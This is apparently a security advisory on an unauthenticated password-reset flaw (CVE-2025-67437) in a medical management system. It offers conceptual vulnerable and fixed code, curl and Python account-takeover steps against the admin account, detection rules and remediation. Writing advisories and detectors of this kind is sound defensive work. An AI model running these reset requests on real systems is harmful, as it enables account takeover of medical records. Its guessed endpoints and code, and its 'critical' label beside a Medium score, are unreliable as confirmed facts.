CVE-2025-67437

Executive Summary

CVE-2025-67437 is a critical Insecure Permissions vulnerability in the Medical Management System (commit a81df1ce700a9662cb136b27af47f4cbde64156b). The flaw allows an unauthenticated attacker to reset arbitrary user passwords without proper authorization, leading to account takeover. The CVSS score is 6.5 (Medium), but the impact is high due to the potential for complete compromise of medical data and system integrity. No patch is currently available, and the vendor status is unknown. This vulnerability is particularly dangerous in healthcare environments where patient data confidentiality is paramount.

Supply Chain & Package Security

This is a custom medical application, not a package from NPM, PyPI, Go, or Ruby. The risk lies in the direct deployment of the vulnerable codebase. Organizations using this system must treat it as a critical supply chain risk and immediately isolate or upgrade the application.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – no direct data leak.
• Integrity Impact: High (I:H) – attacker can modify user accounts.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The ability to reset any user's password without authentication can lead to full system compromise, especially if administrative accounts are targeted.

Deep Dive & Mechanics

The vulnerability stems from improper permission checks in the password reset functionality. The application likely exposes an endpoint (e.g., /reset_password) that accepts a user identifier (username or email) and a new password without verifying the requester's identity or authorization. The code does not enforce a session token, CSRF token, or any proof of ownership of the account being reset.

Root Cause: The password reset logic lacks an authorization gate. It directly updates the user's password in the database based solely on the provided identifier. This is a classic Insecure Direct Object Reference (IDOR) combined with missing authentication.

Attack Flow:

1. Attacker identifies the password reset endpoint (e.g., via API documentation or source code analysis).
2. Attacker sends a POST request with a target username (e.g., admin) and a new password.
3. The server processes the request without verifying the attacker's identity.
4. The attacker then logs in with the new password and gains full access.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

@app.route('/reset_password', methods=['POST'])
def reset_password():
    username = request.form['username']
    new_password = request.form['new_password']
    # Missing authorization check
    update_user_password(username, new_password)
    return "Password reset successful"

Patched Code (Conceptual):

@app.route('/reset_password', methods=['POST'])
def reset_password():
    # Require authentication
    if not is_authenticated(request):
        return "Unauthorized", 401
    # Verify the requester is resetting their own password or has admin rights
    current_user = get_current_user(request)
    target_user = request.form['username']
    if current_user.username != target_user and not current_user.is_admin:
        return "Forbidden", 403
    # Additional verification (e.g., email confirmation)
    if not verify_identity(current_user, request):
        return "Verification required", 403
    new_password = request.form['new_password']
    update_user_password(target_user, new_password)
    return "Password reset successful"

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target system running the vulnerable Medical Management System.
• Network access to the application (e.g., http://target.com).

Exploit Steps:

1. Identify the password reset endpoint. Common paths include /reset_password, /api/reset, or /user/reset.
2. Send a crafted POST request using curl:

   curl -X POST http://target.com/reset_password \
     -d "username=admin&new_password=Hacked123!"
   

3. Verify the reset by logging in:

   curl -X POST http://target.com/login \
     -d "username=admin&password=Hacked123!"
   

4. If successful, the attacker gains full access to the admin account.

Automated Exploit (Python):

import requests

target = "http://target.com"
reset_endpoint = f"{target}/reset_password"
login_endpoint = f"{target}/login"

# Reset admin password
requests.post(reset_endpoint, data={"username": "admin", "new_password": "Pwned123!"})

# Login with new password
session = requests.Session()
response = session.post(login_endpoint, data={"username": "admin", "password": "Pwned123!"})
if "Welcome" in response.text:
    print("Account takeover successful!")

Blue Team (Detection & Defense)

Detection:

• Monitor for multiple password reset requests to different usernames from the same IP.
• Alert on successful password resets without prior authentication.
• Look for anomalous login patterns after a password reset.

Defense:

• Immediately isolate the vulnerable application.
• Implement a Web Application Firewall (WAF) rule to block unauthenticated POST requests to password reset endpoints.
• Enforce multi-factor authentication (MFA) for all users.
• Apply the principle of least privilege to the application's database user.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /reset_password or similar endpoints without a valid session cookie.
  • Repeated login attempts with different passwords after a reset.
• System IOCs:
  • User accounts with recently changed passwords (check /var/log/auth.log or application logs).
  • Unauthorized access to sensitive patient records.
• Log IOCs:
  • Application logs showing password reset events without a preceding authentication event.
  • Error logs with "Unauthorized" or "Forbidden" messages being bypassed.

Detection Engineering

YARA Rule

rule CVE_2025_67437_Insecure_Permissions {
    meta:
        description = "Detects vulnerable Medical Management System code with insecure password reset"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67437"
    strings:
        $s1 = "/reset_password" nocase
        $s2 = "update_user_password" nocase
        $s3 = "new_password" nocase
        $s4 = "username" nocase
    condition:
        all of ($s*) and filesize < 10KB
}

Sigma Rule

title: CVE-2025-67437 - Unauthenticated Password Reset Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects unauthenticated POST requests to password reset endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: POST
        cs-uri-stem:
            - '/reset_password'
            - '/api/reset'
            - '/user/reset'
        sc-status: 200
    filter:
        c-user-agent: 'Mozilla*'  # Legitimate browsers usually have session cookies
    condition: selection and not filter
falsepositives:
    - Legitimate password reset flows with proper authentication
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-67437 - Unauthenticated Password Reset Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/reset_password";
    http_uri;
    content:"username=";
    http_client_body;
    content:"new_password=";
    http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-67437;
    classtype:attempted-user;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the system: Disconnect the vulnerable application from the network until a patch is applied.
2. Implement a WAF rule: Block all unauthenticated POST requests to password reset endpoints.
3. Manual code fix: Add authentication and authorization checks to the password reset function (see patched code example).
4. Audit user accounts: Force password resets for all users and review logs for unauthorized access.

Long-term Mitigation:

• Vendor contact: Attempt to contact the vendor for an official patch. If unavailable, consider forking the codebase and applying the fix.
• Security hardening: Implement role-based access control (RBAC) and enforce MFA.
• Regular scanning: Use vulnerability scanners to detect similar issues in other parts of the application.
• Incident response: Prepare an incident response plan for account takeover scenarios.

Workaround:

• Disable the password reset feature entirely if not critical, or restrict it to authenticated users only via a reverse proxy.

Valters IT